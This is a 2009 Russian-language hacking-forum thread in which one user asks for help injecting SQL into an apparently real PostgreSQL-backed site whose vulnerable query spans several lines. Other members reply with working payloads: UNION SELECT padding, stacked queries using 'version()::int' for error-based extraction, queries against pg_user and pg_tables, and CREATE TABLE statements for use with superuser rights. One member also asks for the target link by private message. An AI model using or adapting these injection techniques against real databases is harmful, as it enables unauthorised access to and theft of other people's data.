PDA

Просмотр полной версии : SQL injection в Postgresql[многострочный запрос]


osnovatel
05.09.2009, 11:29
Доброго дня!
Может быть кто-нибудь подскажет, как провести SQL Injection в Postgresql если запрос в несколько строк, и я не могу закомментировать остаток, например..

line 10 WHERE a.id=[тут иньекция] AND
line 11 b.b_id = a.a_id AND
line 12 c.c_id = b.b_id AND
line 13 c.c_id = 100;

комментарий вида -- комментит только до конца строки, то что на следующей строке он не комментит.
комментарий вида /* требует чтобы коммент закрывался, а вставить */ в конце запроса я не могу.

названия таблиц a,b,c я не знаю, поэтому не могу закончить запрос сам.

жду комментариев. спасибо.

HAXTA4OK
05.09.2009, 11:30
попробуй #

osnovatel
05.09.2009, 11:39
попробовал. не комментит. синтаксическая ошибка.

geezer.code
05.09.2009, 11:53
Доброго дня!
Может быть кто-нибудь подскажет, как провести SQL Injection в Postgresql если запрос в несколько строк, и я не могу закомментировать остаток, например..

line 10 WHERE a.id=[тут иньекция] AND
line 11 b.b_id = a.a_id AND
line 12 c.c_id = b.b_id AND
line 13 c.c_id = 100;

комментарий вида -- комментит только до конца строки, то что на следующей строке он не комментит.
комментарий вида /* требует чтобы коммент закрывался, а вставить */ в конце запроса я не могу.

названия таблиц a,b,c я не знаю, поэтому не могу закончить запрос сам.

жду комментариев. спасибо.
Думаю такую штуку можно провернуть.
Ориентируйся на

select 1 union select 2 union select 3;

тоесть в твоем случае нужно будет знать имена таблиц, которые участвуют в изначальной выборке.
например у тебя есть запрос:
select title,body from news,users,topic where users.id={sqlinj | news.author_id} AND news.topic_id=topic.id;

то переписать его можно так:

select title,body from news,users,topic where user.id={
0 union select null, null
union select null,null from news,users,topic where 1=1
} AND news.topic_id=topic.id;


Примерно так.

ps Для таких вопросов есть специальная тема.
https://forum.antichat.ru/thread46016.html

osnovatel
05.09.2009, 12:01
geezer.code, согласен. Но вся проблема в том, что названия таблиц я не знаю.. в моем примере A, B, C - это алиасы(сокращения).
верхнюю часть запроса, где SELECT и FROM посмотреть не удается. Вот такая вот задачка :)

geezer.code
05.09.2009, 12:05
ps Для таких вопросов есть специальная тема.
https://forum.antichat.ru/thread46016.html

ты уверен что это алиасы? если взглянуть на c_id a_id b_id то так почемуто не кажется.

osnovatel
05.09.2009, 12:19
geezer.code, да, уверен. вот реальный запрос:
where XX.id=[injection]
AND AB.company_id = XX.id
AND XXX.company_id = XX.id
AND XXX.people_id = 100;

настоящие названия таблиц XX и АВ мне удалось подобрать, а вот с XXX проблема.

Spyder
05.09.2009, 16:43
line 10 WHERE a.id=1;[тут иньекция];SELECT 1 AND
line 11 b.b_id = a.a_id AND
line 12 c.c_id = b.b_id AND
line 13 c.c_id = 100;

обрамляешь запрос точками с запятой, запросы будут выполняеться по очереди. a.id у тебя будет иметь вид
1;select version()::int;SELECT 1
https://forum.antichat.ru/thread35599.html

geezer.code
05.09.2009, 17:02
Spyder, а ошибка в последнем запросе разве не играет роли ?
то есть если будет ошибка, то будет вывод ? Он ведь не знает названия всех таблиц, которые используются в условии ?

osnovatel
05.09.2009, 17:06
Spyder, тогда последний запрос будет иметь вид:
SELECT 1 AND b.b_id = a.a_id AND c.c_id = b.b_id AND c.c_id = 100;
на что выпадет ошибка: missing FROM-clause entry for table "b".

>>https://forum.antichat.ru/thread35599.html
До того как запостить свой топик, читал эту и другие ветки, ничего по моей теме не нашел.

Spyder
05.09.2009, 17:11
попробуй
1;select version()::int;SELECT 1 or 1=1
или
1;select version()::int;SELECT 1 from pg_user where 1=1 or 2=2

Spyder
05.09.2009, 17:24
Еще вариант, если будет ругаться на отсутсвие таблиц

1;select version()::int;SELECT a.lanname as a.a_id,b.tablename as b.b_id,c.usesysid as c.c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2

osnovatel
05.09.2009, 17:40
>>1;select version()::int;SELECT 1 or 1=1
>>1;select version()::int;SELECT 1 from pg_user where 1=1 or 2=2
да, так же ругается на отсутствие таблиц.

>>SELECT a.lanname as a.a_id,b.tablename as b.b_id,c.usesysid as c.c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2

к сожалению не позволяет определить столбец a.lanname как a.a_id, ругается на точку в алиасе.
Но спасибо за варианты :)

Spyder
05.09.2009, 19:24
Скинь линк в пм, посмотрю что за чудо у тебя
либо пробуй так
select+version()::int;SELECT a.lanname as a_id,b.tablename as b_id,c.usesysid as c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2

Spyder
05.09.2009, 22:50
Кстати говоря, если есть права супер юзера, можно создать эти самые таблицы
a_id=1;CREATE TABLE a (a_id int);CREATE TABLE b (b_id int);CREATE TABLE c (c_id int);SELECT version()::int;SELECT a.a_id,b.b_id,c.c_id from a,b,c WHERE 1=1

И вообще очень странно что у тебя не работают мои примеры, т.к. при правильном синтаксисе запросы выполняются по очереди, и конструкция version()::int возвратит ошибку раньше